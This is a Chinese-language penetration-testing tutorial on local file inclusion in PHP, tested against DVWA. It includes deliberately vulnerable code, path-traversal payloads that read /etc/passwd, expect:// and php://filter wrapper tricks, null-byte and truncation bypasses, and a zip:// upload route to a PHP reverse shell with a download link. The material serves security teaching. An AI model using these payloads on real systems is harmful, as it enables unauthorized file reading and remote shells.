Web应用渗透测试-本地文件包含

0x01 前言

本文的目的在于帮助网络安全爱好者们去识别和测试LFI漏洞,通过研究去探究LFI渗透测试技术以及LFI漏洞通常在哪里被发现。如果你有更好的奇淫技巧,欢迎分享。

0x02 什么是本地文件包含漏洞

本地文件包含漏洞是指只能包含本机文件的文件包含漏洞,当Web应用程序未合理的包含一个文件时,存在此漏洞。攻击者可以控制输入注入路径遍历字符或服务器上其他文件进行攻击。下面就让我们详细的分析一下漏洞原理和利用技巧.

首先我们来看一段存在文件包含漏洞的PHP代码:

<?php
$file = $_GET['file'];  
if(isset($file)){
    include("pages/$file");
}
else{
    include("index.php");
}
?>

这里我们使用了include函数包含了一个用户输入的文件。

LFI漏洞很容易识别和利用,例如:

/lfi.php?file=index.html

我们可以通过操作文件位置来利用此漏洞,如:

/lfi.php?file=../../../../../../../../etc/passwd

以上是显示Linux/UNIX下的/etc/passwd文件。

以下是成功利用Web应用程序上的LFI漏洞的示例:

0x03 PHP Wrappers

PHP封装了很多协议,通常我们可以利用它来绕过各种输入过滤。

PHP Expect Wrapper

PHP expect://允许执行系统命令,不过很可惜,需要安装扩展

http://pecl.php.net/package/expect

默认情况下不启用

http://127.0.0.1/lfi.php?file=expect://ls

php://input

php://input 是个可以访问请求的原始数据的只读流。

我们可以使用这个协议来执行命令:

PHP php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。它可以打开本地文件然后以base64编码输出。有时候被过滤的时候,可以尝试使用这个方法来包含文件。

?page=php://filter/convert.base64-encode/resource=/etc/passwd

以dwva为例:

输出的字符是以base64编码输出的,所以我们需要解密:

我们也可以不使用base64编码输出:

?page=php://filter/resource=/etc/passwd

如图:

PHP ZIP Wrapper LFI

这是一个压缩流,利用这个漏洞的前提是能上传一个我们自己能控制zip压缩包,攻击流程如下:

  1. 创建一个PHP反弹shell
  2. 压缩成shell.zip
  3. 上传至目标服务器
  4. payload:?page=zip://路径/shell.zip%23shell.php
  5. 坐等shell

反弹shell下载地址:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

Payload:

127.0.0.1/dvwa/vulnerabilities/fi/?page=zip://shell.zip%23shell.php

反弹成功:

0x04 空字节技术

通过在URL编码中增加“空字节”,比如“00%”,在某些情况下能绕过WEB应用程序中的过滤。通常,增加空字符后,后端的WEB应用程序对该输入有可能会放行或不处理,从而可以绕过WEB应用黑名单过滤器。

下面是一些特殊的LFI空字节注入的实例:

?page=/etc/passwd%00
?page=/etc/passwd%2500

0x05 截断LFI绕过

截断是另一个绕过黑名单的技术,通过向有漏洞的文件包含机制中注入一个长的参数,WEB应用有可能会“砍掉它”(截断)输入的参数,从而有可能绕过输入过滤。

%00截断:
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

%00截断目录遍历:
/var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

路径长度截断:
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

LFI截断实例:

?page=/etc/passwd…………………………………………………………………………….
?page=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
?page=/etc/passwd/../../../../../../../../../../../../../../../../../..

0x06 总结

本篇文章主要针对了web应用常规漏洞的本地文件包含漏洞作了详细的介绍,希望大家能给点建议,欢迎大家关注我的新浪微博:孤独zusheng,给我留言或者评论。本技术站追求纯粹的技术分享,也欢迎大家联系我分享自己的技术。

0x07 参考资料

  • https://www.exploit-db.com/docs/40992.pdf
  • http://www.php.net/manual/zh/wrappers.php
  • https://highon.coffee/blog/lfi-cheat-sheet/
  • https://www.owasp.org/index.php/PHPFileInclusion
  • DVWA(用于LFI实例):http://www.dvwa.co.uk/

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2017-01-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏吴伟祥

Linux 文件与目录管理 转

pwd是Print Working Directory的缩写,也就是显示目前所在目录的命令。

13940
来自专栏Laoqi's Linux运维专列

部署Java项目(Ⅰ)

42350
来自专栏中国Android研究院

Flutter开发环境搭建

对于上文Android Studio✗部分,只需要在AndroidStudio中的Plugin中安装Flutter插件即可。 对于'Some android l...

13430
来自专栏ionic3+

【Weex一瞥笔记】

安装结束后你可以直接使用 weex 命令验证是否安装成功,它会显示 weex 命令行工具各参数:

12130
来自专栏码生

证书报错解决方法:Code=3000 "未找到应用程序的“aps-environment”的授权字符串"

1:如果你的项目中已经添加了 KeychainAccessGroups.plist 文件,在此文件中新增一对键值

60530
来自专栏游戏杂谈

Operation could not be completed. (WebKitErrorDomain error 101.)

ios中加载网页,会报如标题所示的错误“Operation could not be completed. (WebKitErrorDomain error ...

20910
来自专栏pangguoming

Nodejs开发框架Express3.0开发手记–从零开始

转载请注明出处: http://blog.fens.me/nodejs-express3/ 程序代码已经上传到github有需要的同学,自行下载。 http...

428120
来自专栏王磊的博客

Android的引用jar包

先来个基础的,在eclips里在工程名上右键->build path->contigure bud path->java build path里有个几个选项 a...

41670
来自专栏木子昭的博客

靠谱的 关闭Windows10自动更新第一步:获取本地网络属性修改权限第二步:将本地网络设置为按流量计费

自从Windows10发布后, 如何关闭Windows10的自动更新, 就是一个长盛不衰的话题, 后来微软看可爱的用户们讨论的这么开心, 就直接把关闭自动更新...

41390
来自专栏Jerry的SAP技术分享

SpringBoot应用和PostgreSQL数据库部署到Kubernetes上的一个例子

上述Service的yaml文件里每个字段,在Kubernetes的API文档里有详细说明。

11500

扫码关注云+社区

领取腾讯云代金券